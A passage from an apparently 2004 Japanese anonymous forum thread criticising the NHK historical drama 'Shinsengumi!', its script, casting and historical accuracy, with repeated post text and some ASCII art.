そういう人が近藤の行動に疑問を感じもっと新選組の事をよく知りたくなって
過去の映画・ドラマや小説に触れたり、文献を探ってみたりすれば・・。
この新選組!はそういう入門編としては及第点かな、という気がしてきた。
人物の描写はともかく、隊士の絡むエピソードなどはいちおう出来事として拾ってあるしね。
言ってしまうと女子供向け、ということになってしまう訳だが
915 ：名無しさん＠お腹いっぱい。：04/11/09 08:24:59 ID:uJg0rhSA
916 ：名無しさん＠お腹いっぱい。：04/11/09 08:34:57 ID:JAe4fb0t
禁門の変から天王山といってみる
917 ：名無しさん＠お腹いっぱい。：04/11/09 09:14:57 ID:5FGjxv83
918 ：名無しさん＠お腹いっぱい。：04/11/09 09:19:46 ID:reWRvfzx
俺はこのドラマの欠点は、誰かが前に書いてたが
「秘書がやりました」の政治家ドラマみたいに
なってることだと思う。
今ごろ、反戦論をぶつ近藤は痛々しい。
池田屋において、「我が信念に一点の曇りも無い！」と
言ったのは、どの口だ？
信念が変わったのだとしても、そう移行した経過が全然描けてない。
最後まで、幕府に殉じて戦って死ぬ一本気の男にすべきだったのではと思う。
それならば香取もそれなりに演じられたのでは。
「秘書がやりました」の政治家ドラマみたいに
なってることだと思う。
今ごろ、反戦論をぶつ近藤は痛々しい。
池田屋において、「我が信念に一点の曇りも無い！」と
言ったのは、どの口だ？
信念が変わったのだとしても、そう移行した経過が全然描けてない。
最後まで、幕府に殉じて戦って死ぬ一本気の男にすべきだったのではと思う。
それならば香取もそれなりに演じられたのでは。
919 ：名無しさん＠お腹いっぱい。：04/11/09 09:29:26 ID:OyhUc0Z/
反戦論ではなくて、今は戦うな！と言ってたんじゃないの？
「近藤勇、いまだかつて戦で負けた事ございません！」
↑
好戦的なせりふ
「近藤勇、いまだかつて戦で負けた事ございません！」
↑
好戦的なせりふ
920 ：名無しさん＠お腹いっぱい。：04/11/09 09:34:14 ID:N5CGxzNm
921 ：名無しさん＠お腹いっぱい。：04/11/09 09:37:18 ID:+1eHzC0W
伊原土方＝壬生義士伝
あれは結構はまってた、沖田と竜馬ちょっと笑っちゃったけどｗ
あと近藤が年取りすぎてたのが惜しい。
あれは結構はまってた、沖田と竜馬ちょっと笑っちゃったけどｗ
あと近藤が年取りすぎてたのが惜しい。
922 ：名無しさん＠お腹いっぱい。：04/11/09 09:58:46 ID:FibXDYeb
>>920
佐藤を近藤役にスライドさせるなら今度は鴨の適役がいなくなる気が…
単純真っ直ぐな近藤より精神的に上位で複雑な性格の芹沢をキャスティングするなら
佐藤よりも印象の強い俳優を探さなければならない。
そもそもクセの強い役を得意とする佐藤に生真面目で裏のない善人を演じさせようとすると
去年のドラマ「高原へいらっしゃい」のような主役らしからぬ気の抜けた印象になってしまう。
今のような三谷版近藤のままのキャラ設定ならぐっさんでも置いとけばいいだろう。
どうせ飾りのような役なんだから。
佐藤を近藤役にスライドさせるなら今度は鴨の適役がいなくなる気が…
単純真っ直ぐな近藤より精神的に上位で複雑な性格の芹沢をキャスティングするなら
佐藤よりも印象の強い俳優を探さなければならない。
そもそもクセの強い役を得意とする佐藤に生真面目で裏のない善人を演じさせようとすると
去年のドラマ「高原へいらっしゃい」のような主役らしからぬ気の抜けた印象になってしまう。
今のような三谷版近藤のままのキャラ設定ならぐっさんでも置いとけばいいだろう。
どうせ飾りのような役なんだから。
923 ：名無しさん＠お腹いっぱい。：04/11/09 10:13:47 ID:8wJfwp4w
ＮＨＫも武蔵とか糞な大河ばっかやってるからガキみたいな脚本家が
「俺も大河やっていいのかな」
とか調子こくんだよ
大河も落ちたもんだな
「俺も大河やっていいのかな」
とか調子こくんだよ
大河も落ちたもんだな
924 ：名無しさん＠お腹いっぱい。：04/11/09 10:16:09 ID:8wJfwp4w
まぁ昔からこんなもんか 「落ちて」はねーやｗ
925 ：名無しさん＠お腹いっぱい。：04/11/09 10:30:05 ID:j0468RtK
>蓋開ければ文化祭コントてんこもりの駄作だった。
屯所が寺に移転した時、沖田が「ねえねえ宝探ししましょうよ」というキモいセリフにはぞっとした。
「俺たちゃやんちゃ３人組」（？）とかいうコントにも頭が痛くなった。
・・・氷点下級の寒さ。脚本家の神経を疑う。
元服の歳でもわかるように、当時の若者の精神年齢はずっと高いよ。
屯所が寺に移転した時、沖田が「ねえねえ宝探ししましょうよ」というキモいセリフにはぞっとした。
「俺たちゃやんちゃ３人組」（？）とかいうコントにも頭が痛くなった。
・・・氷点下級の寒さ。脚本家の神経を疑う。
元服の歳でもわかるように、当時の若者の精神年齢はずっと高いよ。
926 ：名無しさん＠お腹いっぱい。：04/11/09 11:33:09 ID:reWRvfzx
927 ：名無しさん＠お腹いっぱい。：04/11/09 11:58:59 ID:ApDKPov8
三船さんの新撰組の時、三國さんは何役だったっけ？
928 ：名無しさん＠お腹いっぱい。：04/11/09 12:14:29 ID:SQwiPjIj
>>927
鴨だよ。
鴨だよ。
929 ：名無しさん＠お腹いっぱい。：04/11/09 13:23:44 ID:gbpw0j4U
だってさー。脚本家が幼いのは視聴者が幼いからだろー。
930 ：名無しさん＠お腹いっぱい。：04/11/09 14:24:38 ID:mCCpcvpA
ポンキッキ＝ピンポンパン>お母さんといっしょ＞戦隊ヒーロー＝仮面ライダー＞＞セーラームーン＞＞＞それいけ！アンパンマン>>>ひとりでできるもん！＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞（越えられない壁）＞＞＞＞＞＞＞＞＞＞＞＞＞新選組！＝武蔵
931 ：名無しさん＠お腹いっぱい。：04/11/09 15:21:56 ID:q9j3Lico
932 ：名無しさん＠お腹いっぱい。：04/11/09 15:49:12 ID:zspRp4d8
「１話１日」の作り、もう完全に機能してないじゃんｗ
今回の「1日」が始まったのって３０分過ぎてからだぜ？ なんだそりゃって感じ。
今回の「1日」が始まったのって３０分過ぎてからだぜ？ なんだそりゃって感じ。
933 ：名無しさん＠お腹いっぱい。：04/11/09 16:24:01 ID:ycL0njuY
次回は源さんが主役みたいだしな
934 ：名無しさん＠お腹いっぱい。：04/11/09 17:37:16 ID:Z4NPb5jb
( ::: (;; _, ,_ );:;;;)) )::: :; :))
((:: :;; (´д` )っ;;;; ; :))
((;;; (っ ,ｒ どどど
i_ノ┘
((;;;;゜;;:::(;;: _, ,_ '';:;;;):;:::))゜)) ::)))
(((; ;;:: ;:::;;⊂( ´д` ) ;:;;;,,))...)))))) ::::)
((;;;:;;;:,,,." ヽ ⊂ ） ;:;;))):...,),)):;:::::))))
("((;:;;; （⌒） ｜どどど
三 `Ｊ
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((;;;:;;;:,,,." ヽ ⊂ ） ;:;;))):...,),)):;:::::))))
("((;:;;; （⌒） ｜どどど
三 `Ｊ
935 ：名無しさん＠お腹いっぱい。：04/11/09 18:04:57 ID:RWZym35A
936 ：名無しさん＠お腹いっぱい。：04/11/09 18:30:14 ID:WrymUL9Q
>>919
近藤の「私は戦に負けたことはありません！」は、もう観てて恥ずかしくて眼をそらしてしまった。
今まで新撰組ってどこで戦したの？
禁門の政変は御花畠で待ちぼうけのうちに終わるし、禁門の変は天王山にかけつけたら
もうみんな死んでるしってのがこのドラマでの「戦」の絵だったよね。
あんな絵みせられて、あんなセリフ吐かれたら、もう噴出さずにはいれないよ…って、そういやこれ喜劇だったっけ？
ナンセンス・ドラマとしてはそれなりに笑えるかも。
近藤の「私は戦に負けたことはありません！」は、もう観てて恥ずかしくて眼をそらしてしまった。
今まで新撰組ってどこで戦したの？
禁門の政変は御花畠で待ちぼうけのうちに終わるし、禁門の変は天王山にかけつけたら
もうみんな死んでるしってのがこのドラマでの「戦」の絵だったよね。
あんな絵みせられて、あんなセリフ吐かれたら、もう噴出さずにはいれないよ…って、そういやこれ喜劇だったっけ？
ナンセンス・ドラマとしてはそれなりに笑えるかも。
937 ：名無しさん＠お腹いっぱい。：04/11/09 19:14:16 ID:2y03nQu8
＞「私は戦に負けたことはありません！」
「暗殺では負けたことはありません！」の間違いだろｗ
「暗殺では負けたことはありません！」の間違いだろｗ
938 ：名無しさん＠お腹いっぱい。：04/11/09 19:16:27 ID:HomP9bMX
野戦・会戦では勝てません！
939 ：名無しさん＠お腹いっぱい。：04/11/09 19:21:35 ID:eQZpCCxc
みんな勘違いしてるぞ
戦を一回もしなければ負けることはないんだから。
わざと勘違いさせるようなことを言った近藤勇のあくどさを前面に出してるんだよ。
戦を一回もしなければ負けることはないんだから。
わざと勘違いさせるようなことを言った近藤勇のあくどさを前面に出してるんだよ。
940 ：名無しさん＠お腹いっぱい。：04/11/09 19:54:33 ID:T9tpbd41
もちっと大人な会話しようよ。小森のシーンはいらんかった
941 ：名無しさん＠お腹いっぱい。：04/11/09 19:59:39 ID:8V2CwiFN
>>939
ΩΣΩΩ＜な、なんだってぇ～っ！
ΩΣΩΩ＜な、なんだってぇ～っ！
942 ： ：04/11/09 20:07:31 ID:S9vmmP3Y
キリのいいスレキーができる時刻
1099999999 2004/11/09(火) 20:33:19
1100000000 2004/11/09(火) 20:33:20
1100110011 2004/11/11(木) 03:06:51
1099999999 2004/11/09(火) 20:33:19
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943 ：名無しさん＠お腹いっぱい。：04/11/09 21:45:27 ID:1OqsP6Vq
歴史詳しくない大河ファンだからまだ見てられるけど
詳しい人にとっちゃもう見てらんないんだろうな・・・。
流石に「工工エエェェ農民上がりの傭兵隊がいくら直参とはいえ将軍に会えるのか？」と思ったし。
今までの大河でもフィクションあったんだろうけど、本筋を際立たせるための味付けのように見えたし（利まつはブっとんでたが）。
そういうのは捨助だけでいいよ。
御前に控える近藤のぎこちないことぎこちないこと・・・・・。
詳しい人にとっちゃもう見てらんないんだろうな・・・。
流石に「工工エエェェ農民上がりの傭兵隊がいくら直参とはいえ将軍に会えるのか？」と思ったし。
今までの大河でもフィクションあったんだろうけど、本筋を際立たせるための味付けのように見えたし（利まつはブっとんでたが）。
そういうのは捨助だけでいいよ。
御前に控える近藤のぎこちないことぎこちないこと・・・・・。
944 ：名無しさん＠お腹いっぱい。：04/11/09 22:20:53 ID:mAB/bFih
>>943
>流石に「工工エエェェ農民上がりの傭兵隊がいくら直参とはいえ将軍に会えるのか？」と思ったし。
会えるよ。
近藤は見廻組与頭格で御目見得以上なので将軍とも謁見できる。
土方以下は無理。
ただ慶応三年に近藤が慶喜に謁見した記録はなく
ましてや佐々木と二人、直接意見具申を許されるようなことはない。
>流石に「工工エエェェ農民上がりの傭兵隊がいくら直参とはいえ将軍に会えるのか？」と思ったし。
会えるよ。
近藤は見廻組与頭格で御目見得以上なので将軍とも謁見できる。
土方以下は無理。
ただ慶応三年に近藤が慶喜に謁見した記録はなく
ましてや佐々木と二人、直接意見具申を許されるようなことはない。
945 ：名無しさん＠お腹いっぱい。：04/11/09 22:43:03 ID:yPu8q7QH
>>943って、自分では歴史に強いつもりなのか？
948 ：名無しさん＠お腹いっぱい。：04/11/09 23:32:37 ID:Zj+hAVuc
949 ：名無しさん＠お腹いっぱい。：04/11/09 23:46:12 ID:EdHytdgF
>>948
たぶん三谷としては描きたいモノ（エピソード）だけを描くために、
飛び飛びの内容になって出るであろう批判を「いやそういう作りですから」と
かわす為にあらかじめ宣言した「縛り」なんだろうけど。
つまり自分の為の縛りだったのに、それすら放り出すんだからな・・・。
たぶん三谷としては描きたいモノ（エピソード）だけを描くために、
飛び飛びの内容になって出るであろう批判を「いやそういう作りですから」と
かわす為にあらかじめ宣言した「縛り」なんだろうけど。
つまり自分の為の縛りだったのに、それすら放り出すんだからな・・・。
950 ：名無しさん＠お腹いっぱい。：04/11/09 23:47:36 ID:EdHytdgF
ちなみに今日は近藤勇の誕生日です。
生きていれば170歳になりまする。
生きていれば170歳になりまする。
951 ：名無しさん＠お腹いっぱい。：04/11/09 23:49:27 ID:tWihs06u
このドラマってその時は一つの場面場面が面白くても
後から見直すと「…それで？」って思ってしまう事が多い。
笑わせようと意図してるシーンも見事に滑ってる時あるし
関西人だから三谷の考える笑いが受け付けないんだろうか？
後から見直すと「…それで？」って思ってしまう事が多い。
笑わせようと意図してるシーンも見事に滑ってる時あるし
関西人だから三谷の考える笑いが受け付けないんだろうか？
952 ：名無しさん＠お腹いっぱい。：04/11/09 23:59:36 ID:mAB/bFih
近藤は首切られなければ長生きしたかもね。
一方の土方はわりと早死にしそうな希ガス。
一度大病にかかってるし。
一方の土方はわりと早死にしそうな希ガス。
一度大病にかかってるし。
953 ：名無しさん＠お腹いっぱい。：04/11/10 00:34:33 ID:aiTiPv1v
んー・・・万人（老人?）向けにわかりやすう笑いを書いてくれ
って言われたらしいから、しゃーないンちゃう?（これが何故か本スレの人間には結構受けてる
少なくとも、今までの三谷ドラマであんな寒ーい演出シーンの数々は
見た覚えがない。
って言われたらしいから、しゃーないンちゃう?（これが何故か本スレの人間には結構受けてる
少なくとも、今までの三谷ドラマであんな寒ーい演出シーンの数々は
見た覚えがない。
954 ：名無しさん＠お腹いっぱい。：04/11/10 00:51:14 ID:Yvm52l11
このスレまだ続いていたのね。来年も頑張れよな。
955 ：名無しさん＠お腹いっぱい。：04/11/10 01:12:39 ID:gzt6B8nU
来年はさすがに見る気すらしないよ。
今年は大河で初めての新撰組ってこともあったし、
頑張って見たけどな。期待は裏切られたが。
今年は大河で初めての新撰組ってこともあったし、
頑張って見たけどな。期待は裏切られたが。
956 ：名無しさん＠お腹いっぱい。：04/11/10 01:33:05 ID:IZfS26RZ
武蔵、新選組は変化球だけど
来年はどちらかといえば正統派の大河ですな。
大河ヲタとしては勿論チェックしますよ。
アンチに回るかどうかは出来次第っすな。
来年はどちらかといえば正統派の大河ですな。
大河ヲタとしては勿論チェックしますよ。
アンチに回るかどうかは出来次第っすな。
957 ：名無しさん＠お腹いっぱい。：04/11/10 01:37:00 ID:29yxkywK
主役はちと違うが、「武蔵坊弁慶」の記憶が鮮明に残っている俺には苦しい大河だ＞「義経」
958 ：名無しさん＠お腹いっぱい。：04/11/10 02:01:37 ID:IZfS26RZ
>>957
来年の義経は主役周りの配役はしょーもない感じなのだが
中井貴一の頼朝とか小澤征悦の義仲とか勝村政信の重盛とか阿部ちゃんの知盛とか
脇にはえらい面白そうな配役が揃ってるので
それなりに期待はしとるのよね。
スレ違いなのでこのへんにしときます。
来年の義経は主役周りの配役はしょーもない感じなのだが
中井貴一の頼朝とか小澤征悦の義仲とか勝村政信の重盛とか阿部ちゃんの知盛とか
脇にはえらい面白そうな配役が揃ってるので
それなりに期待はしとるのよね。
スレ違いなのでこのへんにしときます。
959 ：名無しさん＠お腹いっぱい。：04/11/10 02:16:31 ID:QJC18UAz
960 ：名無しさん＠お腹いっぱい。：04/11/10 03:59:57 ID:/hqVpXat
961 ：名無しさん＠お腹いっぱい。：04/11/10 04:27:43 ID:eHhFydF3
962 ：名無しさん＠お腹いっぱい。：04/11/10 05:09:55 ID:ss2cMgWp
＞佐藤鴨で得た教訓
？？？
？？？
963 ：名無しさん＠お腹いっぱい。：04/11/10 05:46:19 ID:UMGRrCnO
964 ：名無しさん＠お腹いっぱい。：04/11/10 05:59:49 ID:iTccFjmr
次スレタイ案
【破綻ﾀﾞﾒ芝居】新選組！ ｱﾝﾁｽﾚ 33【反省皆無】
【破綻ﾀﾞﾒ芝居】新選組！ ｱﾝﾁｽﾚ 33【反省皆無】
965 ：名無しさん＠お腹いっぱい。：04/11/10 11:30:52 ID:liJ76y8S
【後は】新選組！ ｱﾝﾁｽﾚ 33【なすがまま】
966 ：名無しさん＠お腹いっぱい。：04/11/10 13:11:47 ID:PUnGy72y
967 ：名無しさん＠お腹いっぱい。：04/11/10 14:03:31 ID:ku/p/n0O
【難だったの？】新選組！ ｱﾝﾁｽﾚ 33【ｺﾉｸｿ芝居】
968 ：名無しさん＠お腹いっぱい。：04/11/10 14:04:37 ID:ku/p/n0O
【何だったの？】新選組！ ｱﾝﾁｽﾚ 33【このｸｿ芝居】
969 ：名無しさん＠お腹いっぱい。：04/11/10 14:20:59 ID:0gvOrkIw
駄作を駄作って言って何が悪い？
三谷ヲタ香取ヲタｷﾓｯ
三谷ヲタ香取ヲタｷﾓｯ
970 ：名無しさん＠お腹いっぱい。：04/11/10 14:50:16 ID:SrMuIeyo
>>962
中堅俳優、佐藤浩市の芹沢鴨の存在で、経験少ない主役級俳優が多々いても割と
見られるドラマとなった教訓を生かした。今回も主役はタッキーだし、対抗する
重要な役柄には、経験豊かな貴一っちゃんを配した、と。書かなくても読み取って
下さい。アニメスレじゃねーよ。
中堅俳優、佐藤浩市の芹沢鴨の存在で、経験少ない主役級俳優が多々いても割と
見られるドラマとなった教訓を生かした。今回も主役はタッキーだし、対抗する
重要な役柄には、経験豊かな貴一っちゃんを配した、と。書かなくても読み取って
下さい。アニメスレじゃねーよ。
971 ：名無しさん＠お腹いっぱい。：04/11/10 15:18:29 ID:ZTCFHmG2
史実の芹沢カモってトンデモながら無双豪傑というキャラでしょ。
しかし佐藤浩市のカモは、あの貧相な風貌もあってワルなヤクザ
ぐらいにしか見えなかったね。
しかし佐藤浩市のカモは、あの貧相な風貌もあってワルなヤクザ
ぐらいにしか見えなかったね。
972 ：名無しさん＠お腹いっぱい。：04/11/10 15:24:20 ID:HlXTeNRc
973 ：名無しさん＠お腹いっぱい。：04/11/10 15:31:08 ID:WLnW4EKw
自分の文章がわかりにくいことを棚に上げていきがる
>>970馬鹿丸出しだな。
>>970馬鹿丸出しだな。
974 ：名無しさん＠お腹いっぱい。：04/11/10 15:52:58 ID:s4Mb6y1n
>>970
そういうことは昔からあることなんで、
佐藤鴨の教訓って他になにか意味があるのかと思っただけです。
去年も同じく脇には中堅使ってるし（それこそ中井とかね）
あんまり大河とかテレビ、映画見ない人なんでしょうか？
そういうことは昔からあることなんで、
佐藤鴨の教訓って他になにか意味があるのかと思っただけです。
去年も同じく脇には中堅使ってるし（それこそ中井とかね）
あんまり大河とかテレビ、映画見ない人なんでしょうか？
975 ：名無しさん＠お腹いっぱい。：04/11/10 15:58:52 ID:N+ji/Fr9
近藤・土方や試衛館メンバーにまじって
尾形俊太郎まで沖田にブーブー（「出てくるな」「寝てろ」）言ってたのがﾜﾗﾀ
尾形俊太郎まで沖田にブーブー（「出てくるな」「寝てろ」）言ってたのがﾜﾗﾀ
976 ：名無しさん＠お腹いっぱい。：04/11/10 19:12:15 ID:xlv/vDoX
>>975
あんなくだらんシーンはいらん
あんなくだらんシーンはいらん
977 ：名無しさん＠お腹いっぱい。：04/11/10 19:35:57 ID:G0LYNd6h
無理に沖田の出演シーンを作ってるのがウザイ
事務所の関係かしらんが初めからずーっと香取-藤原-山本-優香の並びが
異常に不自然。
事務所の関係かしらんが初めからずーっと香取-藤原-山本-優香の並びが
異常に不自然。
978 ：名無しさん＠お腹いっぱい。：04/11/10 19:46:16 ID:IZfS26RZ
979 ：名無しさん＠お腹いっぱい。：04/11/10 19:51:38 ID:BSa+iG+f
980 ： ：04/11/10 19:55:30 ID:oRRn5zcD
981 ：名無しさん＠お腹いっぱい。：04/11/10 23:25:14 ID:Af8Lki7W
つまらん
982 ：名無しさん＠お腹いっぱい。：04/11/10 23:32:30 ID:JVwMtvxg
>>951
>関西人だから三谷の考える笑いが受け付けないんだろうか
俺は関東人だけどダメ。
最近、高名な｢古畑｣を初めて見たんだよ。これはコロンボが元ネタだけに面白く見られるけど、
途中挿入されるギャグ(らしき)シーンが全く面白くなくて、押し付けがましいから、
ウンザリしてスルーしちゃうんだよね。
(こういう場合DVDは便利だわ)
>関西人だから三谷の考える笑いが受け付けないんだろうか
俺は関東人だけどダメ。
最近、高名な｢古畑｣を初めて見たんだよ。これはコロンボが元ネタだけに面白く見られるけど、
途中挿入されるギャグ(らしき)シーンが全く面白くなくて、押し付けがましいから、
ウンザリしてスルーしちゃうんだよね。
(こういう場合DVDは便利だわ)
983 ：名無しさん＠お腹いっぱい。：04/11/11 00:12:41 ID:weq+H2ht
ところで近藤や土方って何のために京都にきているの？
５年ぐらい京都にいて、仕事したのは池田屋ぐらいしかないの？
５年ぐらい京都にいて、仕事したのは池田屋ぐらいしかないの？
984 ：名無しさん＠お腹いっぱい。：04/11/11 00:38:10 ID:q96OkW5l
985 ：名無しさん＠お腹いっぱい。：04/11/11 01:24:11 ID:23Isnbnp
史実を知らないモノにとっては、
何故あんなんで、局長で居られるのかようわからんかった。
あの新見先生が、どうして付いていったんだろうか・・
間者だったから・・・?とか、思ったりもした
何故あんなんで、局長で居られるのかようわからんかった。
あの新見先生が、どうして付いていったんだろうか・・
間者だったから・・・?とか、思ったりもした
986 ：名無しさん＠お腹いっぱい。：04/11/11 02:35:59 ID:fSs4053L
987 ：名無しさん＠お腹いっぱい。：04/11/11 03:00:00 ID:IOIINay4
>>984
まあ、佐藤浩市はキャリアに見合う仕事はしたと思うが設定が途中退場の脇役だからねぇ
ドラマ全体から見てあんま貢献したとは思えなかったな
としまつのときの里見浩太郎を感じさせたよ
逆にその鴨の部分をクローズアップしたことにより物語構成がゆがんだし
まあ、佐藤浩市はキャリアに見合う仕事はしたと思うが設定が途中退場の脇役だからねぇ
ドラマ全体から見てあんま貢献したとは思えなかったな
としまつのときの里見浩太郎を感じさせたよ
逆にその鴨の部分をクローズアップしたことにより物語構成がゆがんだし
988 ：名無しさん＠お腹いっぱい。：04/11/11 04:15:22 ID:iJ3RLNrk
桂小五郎（木戸孝允）って大政奉還の時には死んでたんだっけ？
ってくらい不自然にご無沙汰だね。
なんつーか、バイトのシフト表みたいな出演者の出たり出なかったりが
スゴく気になるんだけど、この大河は特別に。
ってくらい不自然にご無沙汰だね。
なんつーか、バイトのシフト表みたいな出演者の出たり出なかったりが
スゴく気になるんだけど、この大河は特別に。
989 ：名無しさん＠お腹いっぱい。：04/11/11 09:40:41 ID:Pq/3sAos
>>978
スレタイは海老ジョンイルかｗ
スレタイは海老ジョンイルかｗ
990 ：名無しさん＠お腹いっぱい。：04/11/11 10:25:32 ID:eKa/U8gG
消化したまえよ
>>1-990
切腹しろ！俺が介錯してやる。
切腹しろ！俺が介錯してやる。